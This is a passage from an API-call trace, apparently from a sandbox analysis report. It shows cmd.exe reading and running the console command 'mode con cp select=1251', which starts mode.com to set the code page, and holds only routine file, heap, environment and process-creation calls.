lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0038.814] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.814] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0038.814] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.815] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.815] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.815] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0038.815] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.815] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0038.815] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.815] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0038.815] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.815] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0038.815] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.815] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0038.815] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.816] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0038.816] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.816] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.816] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.816] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0038.816] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.816] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.816] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.816] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0038.816] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.816] GetFileType (hFile=0xe8) returned 0x3 [0038.816] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.816] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.816] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.817] GetFileType (hFile=0xf4) returned 0x3 [0038.817] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0038.817] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19fac8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19fac8*=0x18, lpOverlapped=0x0) returned 1 [0038.817] GetProcessHeap () returned 0x270000 [0038.817] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x28cd20 [0038.817] GetProcessHeap () returned 0x270000 [0038.817] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd20 | out: hHeap=0x270000) returned 1 [0038.817] _wcsicmp (_String1="mode", _String2=")") returned 68 [0038.817] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0038.817] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0038.817] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0038.817] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0038.817] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0038.817] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0038.817] GetProcessHeap () returned 0x270000 [0038.817] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x2897e0 [0038.817] GetProcessHeap () returned 0x270000 [0038.817] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1a) returned 0x284610 [0038.818] GetProcessHeap () returned 0x270000 [0038.818] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x38) returned 0x286510 [0038.819] GetConsoleOutputCP () returned 0x1b5 [0038.833] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a49bfe0 | out: lpCPInfo=0x4a49bfe0) returned 1 [0038.833] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0038.833] GetConsoleTitleW (in: lpConsoleTitle=0x19fa80, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.833] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0038.834] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0038.834] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0038.834] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0038.834] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0038.834] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0038.834] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0038.834] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0038.834] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0038.834] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0038.834] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0038.834] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0038.834] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0038.834] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0038.834] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0038.834] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0038.834] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0038.834] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0038.834] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0038.834] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0038.834] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0038.834] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0038.834] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0038.834] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0038.834] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0038.834] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0038.834] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0038.834] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0038.834] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0038.834] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0038.834] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0038.834] _wcsicmp (_String1="mode", _String2="START") returned -6 [0038.834] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0038.834] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0038.834] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0038.834] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0038.834] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0038.835] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0038.835] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0038.835] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0038.835] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0038.835] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0038.835] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0038.835] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0038.835] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0038.835] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0038.835] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0038.835] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0038.835] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0038.835] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0038.835] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0038.835] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0038.835] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0038.835] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0038.835] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0038.835] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0038.835] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0038.835] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0038.835] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0038.835] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0038.835] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0038.835] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0038.835] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0038.835] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0038.835] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0038.835] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0038.835] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0038.835] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0038.835] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0038.835] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0038.835] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0038.835] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0038.835] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0038.836] _wcsicmp (_String1="mode", _String2="START") returned -6 [0038.836] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0038.836] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0038.836] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0038.836] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0038.836] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0038.836] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0038.836] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0038.836] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0038.836] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0038.836] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0038.836] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0038.836] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0038.836] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0038.836] GetProcessHeap () returned 0x270000 [0038.836] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x271ab0 [0038.836] GetProcessHeap () returned 0x270000 [0038.836] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x42) returned 0x2898a0 [0038.836] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0038.836] GetProcessHeap () returned 0x270000 [0038.836] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x289a80 [0038.836] SetErrorMode (uMode=0x0) returned 0x0 [0038.837] SetErrorMode (uMode=0x1) returned 0x0 [0038.837] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x289a90, lpFilePart=0x19f310 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x19f310*="Desktop") returned 0x25 [0038.837] SetErrorMode (uMode=0x0) returned 0x1 [0038.837] GetProcessHeap () returned 0x270000 [0038.837] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289a80, Size=0x66) returned 0x289a80 [0038.837] GetProcessHeap () returned 0x270000 [0038.837] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289a80) returned 0x66 [0038.837] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.837] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.837] GetProcessHeap () returned 0x270000 [0038.837] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x128) returned 0x271cd0 [0038.837] GetProcessHeap () returned 0x270000 [0038.837] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x240) returned 0x289b00 [0038.843] GetProcessHeap () returned 0x270000 [0038.843] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289b00, Size=0x12a) returned 0x289b00 [0038.843] GetProcessHeap () returned 0x270000 [0038.843] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289b00) returned 0x12a [0038.843] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.843] GetProcessHeap () returned 0x270000 [0038.843] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x285b70 [0038.844] GetProcessHeap () returned 0x270000 [0038.844] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x285b70, Size=0x7e) returned 0x285b70 [0038.844] GetProcessHeap () returned 0x270000 [0038.844] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285b70) returned 0x7e [0038.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.849] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0xffffffffffffffff [0038.849] GetLastError () returned 0x2 [0038.849] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0xffffffffffffffff [0038.849] GetLastError () returned 0x2 [0038.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.849] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0x285c00 [0038.850] GetProcessHeap () returned 0x270000 [0038.850] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x28) returned 0x284640 [0038.850] FindClose (in: hFindFile=0x285c00 | out: hFindFile=0x285c00) returned 1 [0038.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0x285c00 [0038.850] GetProcessHeap () returned 0x270000 [0038.850] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x284640, Size=0x8) returned 0x2898f0 [0038.850] FindClose (in: hFindFile=0x285c00 | out: hFindFile=0x285c00) returned 1 [0038.850] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0038.850] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0038.850] GetConsoleTitleW (in: lpConsoleTitle=0x19f5d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.850] GetProcessHeap () returned 0x270000 [0038.850] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x289c40 [0038.850] GetConsoleTitleW (in: lpConsoleTitle=0x289c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.850] GetProcessHeap () returned 0x270000 [0038.850] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289c40, Size=0xa8) returned 0x289c40 [0038.850] GetProcessHeap () returned 0x270000 [0038.851] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289c40) returned 0xa8 [0038.851] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0038.851] GetProcessHeap () returned 0x270000 [0038.851] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c40 | out: hHeap=0x270000) returned 1 [0038.851] InitializeProcThreadAttributeList (in: lpAttributeList=0x19f388, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x19f348 | out: lpAttributeList=0x19f388, lpSize=0x19f348) returned 1 [0038.851] UpdateProcThreadAttribute (in: lpAttributeList=0x19f388, dwFlags=0x0, Attribute=0x60001, lpValue=0x19f338, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x19f388, lpPreviousValue=0x0) returned 1 [0038.851] GetStartupInfoW (in: lpStartupInfo=0x19f4a0 | out: lpStartupInfo=0x19f4a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0038.851] GetProcessHeap () returned 0x270000 [0038.852] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284640 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0038.852] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.853] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.853] GetProcessHeap () returned 0x270000 [0038.853] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284640 | out: hHeap=0x270000) returned 1 [0038.853] GetProcessHeap () returned 0x270000 [0038.853] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x288900 [0038.853] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, 